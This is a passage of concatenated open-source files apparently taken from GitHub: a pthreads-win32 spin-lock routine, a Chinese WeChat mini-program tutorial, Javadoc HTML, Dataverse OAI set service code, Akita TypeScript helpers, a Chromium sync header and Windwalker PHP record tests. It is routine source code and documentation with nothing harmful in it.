value="$product1.name$"/> <argument name="index" value="1"/> </actionGroup> <actionGroup ref="StorefrontQuickSearchCheckProductNameInGridActionGroup" stepKey="assertProduct2Position"> <argument name="productName" value="$product2.name$"/> <argument name="index" value="2"/> </actionGroup> </test> </tests>
{ "pile_set_name": "Github" }
/* * pthread_spin_destroy.c * * Description: * This translation unit implements spin lock primitives. * * -------------------------------------------------------------------------- * * Pthreads-win32 - POSIX Threads Library for Win32 * Copyright(C) 1998 John E. Bossom * Copyright(C) 1999,2005 Pthreads-win32 contributors * * Contact Email: [email protected] * * The current list of contributors is contained * in the file CONTRIBUTORS included with the source * code distribution. The list can also be seen at the * following World Wide Web location: * http://sources.redhat.com/pthreads-win32/contributors.html * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library in the file COPYING.LIB; * if not, write to the Free Software Foundation, Inc., * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA */ #include "pthread.h" #include "implement.h" int pthread_spin_destroy (pthread_spinlock_t * lock) { register pthread_spinlock_t s; int result = 0; if (lock == NULL || *lock == NULL) { return EINVAL; } if ((s = *lock) != PTHREAD_SPINLOCK_INITIALIZER) { if (s->interlock == PTW32_SPIN_USE_MUTEX) { result = pthread_mutex_destroy (&(s->u.mutex)); } else if ((PTW32_INTERLOCKED_LONG) PTW32_SPIN_UNLOCKED != PTW32_INTERLOCKED_COMPARE_EXCHANGE_LONG ((PTW32_INTERLOCKED_LONGPTR) &s->interlock, (PTW32_INTERLOCKED_LONG) PTW32_SPIN_INVALID, (PTW32_INTERLOCKED_LONG) PTW32_SPIN_UNLOCKED)) { result = EINVAL; } if (0 == result) { /* * We are relying on the application to ensure that all other threads * have finished with the spinlock before destroying it. */ *lock = NULL; (void) free (s); } } else { /* * See notes in ptw32_spinlock_check_need_init() above also. */ ptw32_mcs_local_node_t node; ptw32_mcs_lock_acquire(&ptw32_spinlock_test_init_lock, &node); /* * Check again. */ if (*lock == PTHREAD_SPINLOCK_INITIALIZER) { /* * This is all we need to do to destroy a statically * initialised spinlock that has not yet been used (initialised). * If we get to here, another thread * waiting to initialise this mutex will get an EINVAL. */ *lock = NULL; } else { /* * The spinlock has been initialised while we were waiting * so assume it's in use. */ result = EBUSY; } ptw32_mcs_lock_release(&node); } return (result); }
{ "pile_set_name": "Github" }
--- title: 微信小程序-滚动消息通知 date: 2017-08-02 20:20 cover: "https://cdn.jsdelivr.net/gh/okaychen/[email protected]/BlogSource/gallery/thumb_003.jpg" tags: - 小程序 categories: - 小程序 --- # 写在前面:  这次我主要想总结一下微信小程序实现上下滚动消息提醒,主要是利用swiper组件来实现,swiper组件在小程序中是滑块视图容器。 # 效果图 <img src="https://www.chenqaq.com/assets/cnblogs_img/1140602-20170802200717553-132653419.gif" alt=""> <!-- more --> # 实现 我们通过vertical属性(默认为false,实现默认左右滚动)设置为true来实现上下滚动。(需要注意的是:只要你的swiper存在vertical属性,无论你给值为true或者false或者不设参数值,都将实现上下滚动) wxml ```html <swiper class="swiper_container" vertical="true" autoplay="true" circular="true" interval="2000"> <block wx:for="{{msgList}}"> <navigator url="/pages/index/index?title={{item.url}}" open-type="navigate"> <swiper-item> <view class="swiper_item">{{item.title}}</view> </swiper-item> </navigator> </block> </swiper> ``` wxss ```css .swiper_container { height: 55rpx; width: 80vw; } .swiper_item { font-size: 25rpx; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; letter-spacing: 2px; } ``` js ```js var app = getApp() Page({ data: {}, onLoad(e) { console.log(e.title) this.setData({ msgList: [ { url: "url", title: "公告:多地首套房贷利率上浮 热点城市渐迎零折扣时代" }, { url: "url", title: "公告:悦如公寓三周年生日趴邀你免费吃喝欢唱" }, { url: "url", title: "公告:你想和一群有志青年一起过生日嘛?" }] }); } }) ``` 数据放在了setData函数中,setData函数的主要作用是将数据从逻辑层发送到视图层,但是需要避免单次设置大量的数据。
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent" android:fitsSystemWindows="@bool/fitsSysWindows"> <android.support.v7.widget.Toolbar android:id="@+id/toolbar" app:navigationIcon="?attr/homeAsUpIndicator" style="@style/toolbar" /> <include layout="@layout/incl_activity_app_view" /> </LinearLayout>
{ "pile_set_name": "Github" }
require('../../modules/es6.reflect.is-extensible'); module.exports = require('../../modules/_core').Reflect.isExtensible;
{ "pile_set_name": "Github" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="zh"> <head> <!-- Generated by javadoc (1.8.0_45) on Wed Apr 13 13:22:07 CST 2016 --> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>T - 索引</title> <meta name="date" content="2016-04-13"> <link rel="stylesheet" type="text/css" href="../stylesheet.css" title="Style"> <script type="text/javascript" src="../script.js"></script> </head> <body> <script type="text/javascript"><!-- try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="T - \u7D22\u5F15"; } } catch(err) { } //--> </script> <noscript> <div>您的浏览器已禁用 JavaScript。</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar.top"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.top" title="跳过导航链接">跳过导航链接</a></div> <a name="navbar.top.firstrow"> <!-- --> </a> <ul class="navList" title="导航"> <li><a href="../overview-summary.html">概览</a></li> <li>程序包</li> <li>类</li> <li>使用</li> <li><a href="../overview-tree.html">树</a></li> <li><a href="../deprecated-list.html">已过时</a></li> <li class="navBarCell1Rev">索引</li> <li><a href="../help-doc.html">帮助</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="index-16.html">上一个字母</a></li> <li><a href="index-18.html">下一个字母</a></li> </ul> <ul class="navList"> <li><a href="../index.html?index-files/index-17.html" target="_top">框架</a></li> <li><a href="index-17.html" target="_top">无框架</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../allclasses-noframe.html">所有类</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip.navbar.top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <div class="contentContainer"><a href="index-1.html">A</a>&nbsp;<a href="index-2.html">B</a>&nbsp;<a href="index-3.html">C</a>&nbsp;<a href="index-4.html">D</a>&nbsp;<a href="index-5.html">E</a>&nbsp;<a href="index-6.html">F</a>&nbsp;<a href="index-7.html">G</a>&nbsp;<a href="index-8.html">I</a>&nbsp;<a href="index-9.html">J</a>&nbsp;<a href="index-10.html">L</a>&nbsp;<a href="index-11.html">M</a>&nbsp;<a href="index-12.html">N</a>&nbsp;<a href="index-13.html">O</a>&nbsp;<a href="index-14.html">P</a>&nbsp;<a href="index-15.html">R</a>&nbsp;<a href="index-16.html">S</a>&nbsp;<a href="index-17.html">T</a>&nbsp;<a href="index-18.html">U</a>&nbsp;<a href="index-19.html">V</a>&nbsp;<a href="index-20.html">W</a>&nbsp;<a name="I:T"> <!-- --> </a> <h2 class="title">T</h2> <dl> <dt><span class="memberNameLink"><a href="../compiler/Praser.html#table">table</a></span> - 类 中的变量compiler.<a href="../compiler/Praser.html" title="compiler中的类">Praser</a></dt> <dd>&nbsp;</dd> <dt><span class="memberNameLink"><a href="../compiler/SymbolTable.html#table">table</a></span> - 类 中的变量compiler.<a href="../compiler/SymbolTable.html" title="compiler中的类">SymbolTable</a></dt> <dd>&nbsp;</dd> <dt><span class="memberNameLink"><a href="../compiler/PL0.html#tableFile">tableFile</a></span> - 类 中的静态变量compiler.<a href="../compiler/PL0.html" title="compiler中的类">PL0</a></dt> <dd>&nbsp;</dd> <dt><span class="memberNameLink"><a href="../compiler/SymbolTable.html#tableMax">tableMax</a></span> - 类 中的静态变量compiler.<a href="../compiler/SymbolTable.html" title="compiler中的类">SymbolTable</a></dt> <dd> <div class="block">符号表的大小</div> </dd> <dt><span class="memberNameLink"><a href="../compiler/SymbolTable.html#tablePtr">tablePtr</a></span> - 类 中的变量compiler.<a href="../compiler/SymbolTable.html" title="compiler中的类">SymbolTable</a></dt> <dd> <div class="block">当前名字表项指针(有效的符号表大小)table size</div> </dd> <dt><span class="memberNameLink"><a href="../compiler/SymbolTable.html#tableswitch">tableswitch</a></span> - 类 中的静态变量compiler.<a href="../compiler/SymbolTable.html" title="compiler中的类">SymbolTable</a></dt> <dd>&nbsp;</dd> <dt><span class="memberNameLink"><a href="../compiler/PL0.html#tableWriter">tableWriter</a></span> - 类 中的静态变量compiler.<a href="../compiler/PL0.html" title="compiler中的类">PL0</a></dt> <dd>&nbsp;</dd> <dt><span class="memberNameLink"><a href="../compiler/Symbol.html#thensym">thensym</a></span> - 类 中的静态变量compiler.<a href="../compiler/Symbol.html" title="compiler中的类">Symbol</a></dt> <dd>&nbsp;</dd> </dl> <a href="index-1.html">A</a>&nbsp;<a href="index-2.html">B</a>&nbsp;<a href="index-3.html">C</a>&nbsp;<a href="index-4.html">D</a>&nbsp;<a href="index-5.html">E</a>&nbsp;<a href="index-6.html">F</a>&nbsp;<a href="index-7.html">G</a>&nbsp;<a href="index-8.html">I</a>&nbsp;<a href="index-9.html">J</a>&nbsp;<a href="index-10.html">L</a>&nbsp;<a href="index-11.html">M</a>&nbsp;<a href="index-12.html">N</a>&nbsp;<a href="index-13.html">O</a>&nbsp;<a href="index-14.html">P</a>&nbsp;<a href="index-15.html">R</a>&nbsp;<a href="index-16.html">S</a>&nbsp;<a href="index-17.html">T</a>&nbsp;<a href="index-18.html">U</a>&nbsp;<a href="index-19.html">V</a>&nbsp;<a href="index-20.html">W</a>&nbsp;</div> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar.bottom"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="跳过导航链接">跳过导航链接</a></div> <a name="navbar.bottom.firstrow"> <!-- --> </a> <ul class="navList" title="导航"> <li><a href="../overview-summary.html">概览</a></li> <li>程序包</li> <li>类</li> <li>使用</li> <li><a href="../overview-tree.html">树</a></li> <li><a href="../deprecated-list.html">已过时</a></li> <li class="navBarCell1Rev">索引</li> <li><a href="../help-doc.html">帮助</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="index-16.html">上一个字母</a></li> <li><a href="index-18.html">下一个字母</a></li> </ul> <ul class="navList"> <li><a href="../index.html?index-files/index-17.html" target="_top">框架</a></li> <li><a href="index-17.html" target="_top">无框架</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../allclasses-noframe.html">所有类</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip.navbar.bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </body> </html>
{ "pile_set_name": "Github" }
package edu.harvard.iq.dataverse.harvest.server; import edu.harvard.iq.dataverse.DatasetServiceBean; import edu.harvard.iq.dataverse.search.IndexServiceBean; import edu.harvard.iq.dataverse.search.SearchConstants; import edu.harvard.iq.dataverse.search.SearchFields; import edu.harvard.iq.dataverse.search.SearchUtil; import edu.harvard.iq.dataverse.search.SolrClientService; import edu.harvard.iq.dataverse.util.SystemConfig; import java.io.File; import java.io.IOException; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.Iterator; import java.util.List; import java.util.logging.FileHandler; import java.util.logging.Level; import java.util.logging.Logger; import javax.ejb.Asynchronous; import javax.ejb.EJB; import javax.ejb.Stateless; import javax.ejb.TransactionAttribute; import javax.ejb.TransactionAttributeType; import javax.inject.Named; import javax.persistence.EntityManager; import javax.persistence.PersistenceContext; import org.apache.solr.client.solrj.SolrClient; import org.apache.solr.client.solrj.SolrQuery; import org.apache.solr.client.solrj.SolrServerException; import org.apache.solr.client.solrj.impl.HttpSolrClient; import org.apache.solr.client.solrj.impl.HttpSolrClient.RemoteSolrException; import org.apache.solr.client.solrj.response.QueryResponse; import org.apache.solr.common.SolrDocument; import org.apache.solr.common.SolrDocumentList; /** * * @author Leonid Andreev * dedicated service for managing OAI sets, * for the Harvesting server. */ @Stateless @Named public class OAISetServiceBean implements java.io.Serializable { @PersistenceContext(unitName = "VDCNet-ejbPU") private EntityManager em; @EJB SystemConfig systemConfig; @EJB OAIRecordServiceBean oaiRecordService; @EJB DatasetServiceBean datasetService; @EJB SolrClientService solrClientService; private static final Logger logger = Logger.getLogger("edu.harvard.iq.dataverse.harvest.server.OAISetServiceBean"); private static final SimpleDateFormat logFormatter = new SimpleDateFormat("yyyy-MM-dd'T'HH-mm-ss"); public OAISet find(Object pk) { return em.find(OAISet.class, pk); } public boolean specExists(String spec) { boolean specExists = false; OAISet set = findBySpec(spec); if (set != null) { specExists = true; } return specExists; } public OAISet findBySpec(String spec) { String query = "SELECT o FROM OAISet o where o.spec = :specName"; OAISet oaiSet = null; logger.fine("Query: "+query+"; spec: "+spec); try { oaiSet = (OAISet) em.createQuery(query).setParameter("specName", spec).getSingleResult(); } catch (Exception e) { // Do nothing, just return null. } return oaiSet; } // Find the default, "no name" set: public OAISet findDefaultSet() { String query = "SELECT o FROM OAISet o where o.spec = ''"; OAISet oaiSet = null; try { oaiSet = (OAISet) em.createQuery(query).getSingleResult(); } catch (Exception e) { // Do nothing, just return null. } return oaiSet; } public List<OAISet> findAll() { try { logger.fine("setService, findAll; query: select object(o) from OAISet as o order by o.name"); List<OAISet> oaiSets = em.createQuery("select object(o) from OAISet as o order by o.name", OAISet.class).getResultList(); logger.fine((oaiSets != null ? oaiSets.size() : 0) + " results found."); return oaiSets; } catch (Exception e) { return null; } } public List<OAISet> findAllNamedSets() { try { logger.info("setService, findAllNamedSets; query: select object(o) from OAISet as o where o.spec != '' order by o.spec"); List<OAISet> oaiSets = em.createQuery("select object(o) from OAISet as o where o.spec != '' order by o.spec", OAISet.class).getResultList(); logger.info((oaiSets != null ? oaiSets.size() : 0) + " results found."); return oaiSets; } catch (Exception e) { return null; } } @Asynchronous public void remove(Long setId) { OAISet oaiSet = find(setId); if (oaiSet == null) { return; } em.createQuery("delete from OAIRecord hs where hs.setName = '" + oaiSet.getSpec() + "'", OAISet.class).executeUpdate(); //OAISet merged = em.merge(oaiSet); em.remove(oaiSet); } public OAISet findById(Long id) { return em.find(OAISet.class,id); } @Asynchronous public void exportOaiSetAsync(OAISet oaiSet) { exportOaiSet(oaiSet); } public void exportOaiSet(OAISet oaiSet) { exportOaiSet(oaiSet, logger); } public void exportOaiSet(OAISet oaiSet, Logger exportLogger) { OAISet managedSet = find(oaiSet.getId()); String query = managedSet.getDefinition(); List<Long> datasetIds; try { if (!oaiSet.isDefaultSet()) { datasetIds = expandSetQuery(query); exportLogger.info("set query expanded to " + datasetIds.size() + " datasets."); } else { // The default set includes all the local, published datasets. // findAllLocalDatasetIds() finds the ids of all the local datasets - // including the unpublished drafts and deaccessioned ones. // Those will be filtered out further down the line. datasetIds = datasetService.findAllLocalDatasetIds(); } } catch (OaiSetException ose) { datasetIds = null; } // We still DO want to update the set, when the search query does not // find any datasets! - This way if there are records already in the set // they will be properly marked as "deleted"! -- L.A. 4.5 //if (datasetIds != null && !datasetIds.isEmpty()) { exportLogger.info("Calling OAI Record Service to re-export " + datasetIds.size() + " datasets."); oaiRecordService.updateOaiRecords(managedSet.getSpec(), datasetIds, new Date(), true, exportLogger); //} managedSet.setUpdateInProgress(false); } public void exportAllSets() { String logTimestamp = logFormatter.format(new Date()); Logger exportLogger = Logger.getLogger("edu.harvard.iq.dataverse.harvest.client.OAISetServiceBean." + "UpdateAllSets." + logTimestamp); String logFileName = "../logs" + File.separator + "oaiSetsUpdate_" + logTimestamp + ".log"; FileHandler fileHandler = null; boolean fileHandlerSuceeded = false; try { fileHandler = new FileHandler(logFileName); exportLogger.setUseParentHandlers(false); fileHandlerSuceeded = true; } catch (IOException | SecurityException ex) { Logger.getLogger(DatasetServiceBean.class.getName()).log(Level.SEVERE, null, ex); } if (fileHandlerSuceeded) { exportLogger.addHandler(fileHandler); } else { exportLogger = logger; } List<OAISet> allSets = findAll(); if (allSets != null) { for (OAISet set : allSets) { exportOaiSet(set, exportLogger); } } if (fileHandlerSuceeded) { // no, we are not potentially de-referencing a NULL pointer - // it's not NULL if fileHandlerSucceeded is true. fileHandler.close(); } } public int validateDefinitionQuery(String query) throws OaiSetException { List<Long> resultIds = expandSetQuery(query); //logger.fine("Datasets found: "+StringUtils.join(resultIds, ",")); if (resultIds != null) { //logger.fine("returning "+resultIds.size()); return resultIds.size(); } return 0; } /** * @deprecated Consider using commented out solrQuery.addFilterQuery * examples instead. */ @Deprecated public String addQueryRestrictions(String query) { // "sanitizeQuery()" does something special that's needed to be able // to search on global ids; which we will most likely need. query = SearchUtil.sanitizeQuery(query); // fix case in "and" and "or" operators: query = query.replaceAll(" [Aa][Nn][Dd] ", " AND "); query = query.replaceAll(" [Oo][Rr] ", " OR "); query = "(" + query + ")"; // append the search clauses that limit the search to a) datasets // b) published and c) local: // SearchFields.TYPE query = query.concat(" AND " + SearchFields.TYPE + ":" + SearchConstants.DATASETS + " AND " + SearchFields.IS_HARVESTED + ":" + false + " AND " + SearchFields.PUBLICATION_STATUS + ":" + IndexServiceBean.PUBLISHED_STRING); return query; } public List<Long> expandSetQuery(String query) throws OaiSetException { // We do not allow "keyword" queries (like "king") - we require // that they search on specific fields, for ex., "authorName:king": if (query == null || !(query.indexOf(':') > 0)) { throw new OaiSetException("Invalid search query."); } SolrQuery solrQuery = new SolrQuery(); String restrictedQuery = addQueryRestrictions(query); solrQuery.setQuery(restrictedQuery); // addFilterQuery equivalent to addQueryRestrictions // solrQuery.setQuery(query); // solrQuery.addFilterQuery(SearchFields.TYPE + ":" + SearchConstants.DATASETS); // solrQuery.addFilterQuery(SearchFields.IS_HARVESTED + ":" + false); // solrQuery.addFilterQuery(SearchFields.PUBLICATION_STATUS + ":" + IndexServiceBean.PUBLISHED_STRING); solrQuery.setRows(Integer.MAX_VALUE); QueryResponse queryResponse = null; try { queryResponse = solrClientService.getSolrClient().query(solrQuery); } catch (RemoteSolrException ex) { String messageFromSolr = ex.getLocalizedMessage(); String error = "Search Syntax Error: "; String stringToHide = "org.apache.solr.search.SyntaxError: "; if (messageFromSolr.startsWith(stringToHide)) { // hide "org.apache.solr..." error += messageFromSolr.substring(stringToHide.length()); } else { error += messageFromSolr; } logger.fine(error); throw new OaiSetException(error); } catch (SolrServerException | IOException ex) { logger.warning("Internal Dataverse Search Engine Error"); throw new OaiSetException("Internal Dataverse Search Engine Error"); } SolrDocumentList docs = queryResponse.getResults(); Iterator<SolrDocument> iter = docs.iterator(); List<Long> resultIds = new ArrayList<>(); while (iter.hasNext()) { SolrDocument solrDocument = iter.next(); Long entityid = (Long) solrDocument.getFieldValue(SearchFields.ENTITY_ID); resultIds.add(entityid); } return resultIds; } @TransactionAttribute(TransactionAttributeType.REQUIRES_NEW) public void setUpdateInProgress(Long setId) { OAISet oaiSet = find(setId); if (oaiSet == null) { return; } em.refresh(oaiSet); oaiSet.setUpdateInProgress(true); } @TransactionAttribute(TransactionAttributeType.REQUIRES_NEW) public void setDeleteInProgress(Long setId) { OAISet oaiSet = find(setId); if (oaiSet == null) { return; } em.refresh(oaiSet); oaiSet.setDeleteInProgress(true); } public void save(OAISet oaiSet) { em.merge(oaiSet); } }
{ "pile_set_name": "Github" }
import { ID, IDS, ItemPredicate } from './types'; import { coerceArray } from './coerceArray'; import { DEFAULT_ID_KEY } from './defaultIDKey'; import { distinctUntilChanged, map } from 'rxjs/operators'; import { MonoTypeOperatorFunction, Observable } from 'rxjs'; import { isArray } from './isArray'; import { isFunction } from './isFunction'; import { isEmpty } from './isEmpty'; // @internal export function find<T>(collection: T[], idsOrPredicate: IDS | ItemPredicate, idKey: string) { const result = []; if (isFunction(idsOrPredicate)) { for (const entity of collection) { if (idsOrPredicate(entity) === true) { result.push(entity); } } } else { const toSet = coerceArray(idsOrPredicate).reduce((acc, current) => acc.add(current), new Set()); for (const entity of collection) { if (toSet.has(entity[idKey])) { result.push(entity); } } } return result; } // @internal export function distinctUntilArrayItemChanged<T>(): MonoTypeOperatorFunction<T[]> { return distinctUntilChanged((prevCollection: T[], currentCollection: T[]) => { if (prevCollection === currentCollection) { return true; } if (isArray(prevCollection) === false || isArray(currentCollection) === false) { return false; } if (isEmpty(prevCollection) && isEmpty(currentCollection)) { return true; } // if item is new in the current collection but not exist in the prev collection const hasNewItem = hasChange(currentCollection, prevCollection); if (hasNewItem) { return false; } const isOneOfItemReferenceChanged = hasChange(prevCollection, currentCollection); // return false means there is a change and we want to call next() return isOneOfItemReferenceChanged === false; }); } // @internal function hasChange<T>(first: T[], second: T[]) { const hasChange = second.some(currentItem => { const oldItem = first.find(prevItem => prevItem === currentItem); return oldItem === undefined; }); return hasChange; } /** * Find items in a collection * * @example * * selectEntity(1, 'comments').pipe( * arrayFind(comment => comment.text = 'text') * ) */ export function arrayFind<T>(ids: ItemPredicate<T>, idKey?: never): (source: Observable<T[]>) => Observable<T[]>; /** * @example * * selectEntity(1, 'comments').pipe( * arrayFind(3) * ) */ export function arrayFind<T>(ids: ID, idKey?: string): (source: Observable<T[]>) => Observable<T>; /** * @example * * selectEntity(1, 'comments').pipe( * arrayFind([1, 2, 3]) * ) */ export function arrayFind<T>(ids: ID[], idKey?: string): (source: Observable<T[]>) => Observable<T[]>; export function arrayFind<T>(idsOrPredicate: ID[] | ID | ItemPredicate<T>, idKey?: string): (source: Observable<T[]>) => Observable<T[] | T> { return function(source: Observable<T[]>) { return source.pipe( map((collection: T[] | undefined | null) => { // which means the user deleted the root entity or set the collection to nil if (isArray(collection) === false) { return collection; } return find(collection, idsOrPredicate, idKey || DEFAULT_ID_KEY); }), distinctUntilArrayItemChanged(), map(value => { if (isArray(value) === false) { return value; } if (isArray(idsOrPredicate) || isFunction(idsOrPredicate)) { return value; } return value[0]; }) ); }; }
{ "pile_set_name": "Github" }
// Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef COMPONENTS_SYNC_DRIVER_BACKEND_DATA_TYPE_CONFIGURER_H_ #define COMPONENTS_SYNC_DRIVER_BACKEND_DATA_TYPE_CONFIGURER_H_ #include <map> #include "base/callback.h" #include "sync/internal_api/public/base/model_type.h" #include "sync/internal_api/public/configure_reason.h" namespace browser_sync { // The DataTypeConfigurer interface abstracts out the action of // configuring a set of new data types and cleaning up after a set of // removed data types. class BackendDataTypeConfigurer { public: enum DataTypeConfigState { CONFIGURE_ACTIVE, // Actively being configured. Data of such types // will be downloaded if not present locally. CONFIGURE_INACTIVE, // Already configured or to be configured in future. // Data of such types is left as it is, no // downloading or purging. CONFIGURE_CLEAN, // Actively being configured but requiring unapply // and GetUpdates first (e.g. for persistence errors). DISABLED, // Not syncing. Disabled by user. FATAL, // Not syncing due to unrecoverable error. CRYPTO, // Not syncing due to a cryptographer error. }; typedef std::map<syncer::ModelType, DataTypeConfigState> DataTypeConfigStateMap; // Configures sync for data types in config_state_map according to the states. // |ready_task| is called on the same thread as ConfigureDataTypes // is called when configuration is done with the set of data types // that succeeded/failed configuration (i.e., configuration succeeded iff // the failed set is empty). // // TODO(akalin): Use a Delegate class with // OnConfigureSuccess/OnConfigureFailure/OnConfigureRetry instead of // a pair of callbacks. The awkward part is handling when // SyncBackendHost calls ConfigureDataTypes on itself to configure // Nigori. virtual void ConfigureDataTypes( syncer::ConfigureReason reason, const DataTypeConfigStateMap& config_state_map, const base::Callback<void(syncer::ModelTypeSet, syncer::ModelTypeSet)>& ready_task, const base::Callback<void()>& retry_callback) = 0; // Return model types in |state_map| that match |state|. static syncer::ModelTypeSet GetDataTypesInState( DataTypeConfigState state, const DataTypeConfigStateMap& state_map); // Set state of |types| in |state_map| to |state|. static void SetDataTypesState(DataTypeConfigState state, syncer::ModelTypeSet types, DataTypeConfigStateMap* state_map); protected: virtual ~BackendDataTypeConfigurer() {} }; } // namespace browser_sync #endif // COMPONENTS_SYNC_DRIVER_BACKEND_DATA_TYPE_CONFIGURER_H_
{ "pile_set_name": "Github" }
<?php declare(strict_types=1); /** * Part of Windwalker project Test files. @codingStandardsIgnoreStart * * @copyright Copyright (C) 2019 LYRASOFT Taiwan, Inc. * @license LGPL-2.0-or-later */ namespace Windwalker\Record\Test; use Windwalker\Database\Test\Mysql\AbstractMysqlTestCase; use Windwalker\DataMapper\Adapter\WindwalkerAdapter; use Windwalker\DataMapper\DatabaseContainer; use Windwalker\Record\Record; use Windwalker\Record\Test\Stub\StubRecord; use Windwalker\Test\TestHelper; /** * Test class of Record * * @since 2.0 */ class RecordTest extends AbstractMysqlTestCase { /** * Test instance. * * @var Record */ protected $instance; /** * Sets up the fixture, for example, opens a network connection. * This method is called before a test is executed. * * @return void * @throws \Exception */ protected function setUp(): void { parent::setUp(); DatabaseContainer::reset(); $this->instance = new Record('articles'); } /** * Tears down the fixture, for example, closes a network connection. * This method is called after a test is executed. * * @return void * @throws \ReflectionException */ protected function tearDown(): void { parent::tearDown(); } /** * getInstallSql * * @return string */ protected static function getSetupSql() { return file_get_contents(__DIR__ . '/Stub/fixtures.sql'); } /** * Method to test __set(). * * @return void * * @throws \ReflectionException * @covers \Windwalker\Record\Record::__set */ public function test__set() { $record = $this->instance; $record->set('catid', 1); $data = (object) TestHelper::getValue($record, 'data'); $this->assertEquals(1, $data->catid); $record->catid = 3; $data = (object) TestHelper::getValue($record, 'data'); $this->assertEquals(3, $data->catid); } /** * Method to test __get(). * * @return void * * @throws \Exception * @covers \Windwalker\Record\Record::__get */ public function test__get() { $record = $this->instance; $record->setAlias('foo', 'catid'); $record->bind( [ 'id' => 1, 'foo' => 6, 'title' => 'Sakura', ] ); $this->assertEquals(1, $record->id); $this->assertEquals(6, $record->foo); $this->assertEquals(6, $record->catid); $this->assertEquals('Sakura', $record->title); } /** * Method to test save(). * * @return void * * @throws \Exception * @covers \Windwalker\Record\Record::save */ public function testSave() { // Test create $key = $this->instance->getKeyName(); $data = [ 'title' => 'Test', ]; $this->instance->save($data); $flower = $this->db->setQuery('SELECT * FROM `articles` ORDER BY id DESC')->loadOne(); $this->assertEquals('Test', $flower->title); // Test update $data = [ $key => 1, 'title' => 'YOO', 'extra_field' => 'BAR' // will not saved ]; $this->instance->reset(false)->save($data); $flower = $this->db->setQuery('SELECT * FROM `articles` WHERE id = 1')->loadOne(); $this->assertEquals('YOO', $flower->title); $this->assertEquals('2000-12-14 01:53:02', $flower->created); // Test Update nulls $this->instance->reset(true)->save($data, true); $flower = $this->db->setQuery('SELECT * FROM `articles` WHERE id = 1')->loadOne(); $this->assertEquals($this->db->getQuery(true)->getNullDate(), $flower->created); // Test save null data $data = [ $key => 2, 'title' => null, 'alias' => null, 'extra_field' => 'BAR' // will not saved ]; $this->instance->reset(true)->save($data, true); $flower = $this->db->setQuery('SELECT * FROM `articles` WHERE id = 2')->loadOne(); $this->assertSame('', $flower->title); $this->assertSame('', $flower->alias); } /** * Method to test bind(). * * @return void * * @throws \Exception * @covers \Windwalker\Record\Record::bind */ public function testBind() { $record = $this->instance; $record->bind( [ 'title' => 'sakura', 'fake' => 'cat', ] ); $this->assertEquals('sakura', $record->title); $this->assertEquals('cat', $record->fake); } /** * Method to test load(). * * @return void * * @throws \Exception * @covers \Windwalker\Record\Record::load */ public function testLoad() { $this->instance->load(3); $this->assertEquals('Illo', $this->instance->title); } /** * Method to test delete(). * * @return void * * @throws \Exception * @covers \Windwalker\Record\Record::delete */ public function testDelete() { $flower = $this->db->setQuery('SELECT * FROM `articles` WHERE id = 5')->loadOne(); $this->assertEquals('Ipsam reprehenderit', $flower->title); $this->instance->delete(5); $flower = $this->db->setQuery('SELECT * FROM `articles` WHERE id = 5')->loadOne(); $this->assertFalse($flower); } /** * Method to test reset(). * * @return void * * @covers \Windwalker\Record\Record::reset */ public function testReset() { // Remove the following lines when you implement this test. $this->markTestIncomplete( 'This test has not been implemented yet.' ); } /** * Method to test check(). * * @return void * * @throws \Exception * @covers \Windwalker\Record\Record::validate */ public function testCheck() { $record = new StubRecord('articles'); $this->assertExpectedException( function () use ($record) { $record->validate(); }, new \RuntimeException(), 'Record save error' ); $this->assertExpectedException( function () use ($record) { $record->save([]); }, new \RuntimeException(), 'Record save error' ); } /** * Method to test store(). * * @return void * * @throws \Exception * @covers \Windwalker\Record\Record::store */ public function testStore() { // Test create $data = [ 'title' => 'Lancelot', 'meaning' => 'First Knight', 'ordering' => 123456, 'params' => '', ]; $record = $this->instance; $record->bind($data); $record->foo = 'Forbidden'; $record->store(); $record = new Record('articles'); $record->load(['title' => 'Lancelot']); $this->assertEquals(123456, $record->ordering); // Test update $key = $this->instance->getKeyName(); $data = [ $key => 1, 'title' => 'YOO', ]; $this->instance->reset()->bind($data)->store(); $flower = $this->db->setQuery('SELECT * FROM `articles` WHERE id = 1')->loadOne(); $this->assertEquals('YOO', $flower->title); } /** * testCreate * * @return void * * @throws \Exception * @covers \Windwalker\Record\Record::create */ public function testCreate() { // Test create with no id $data = [ 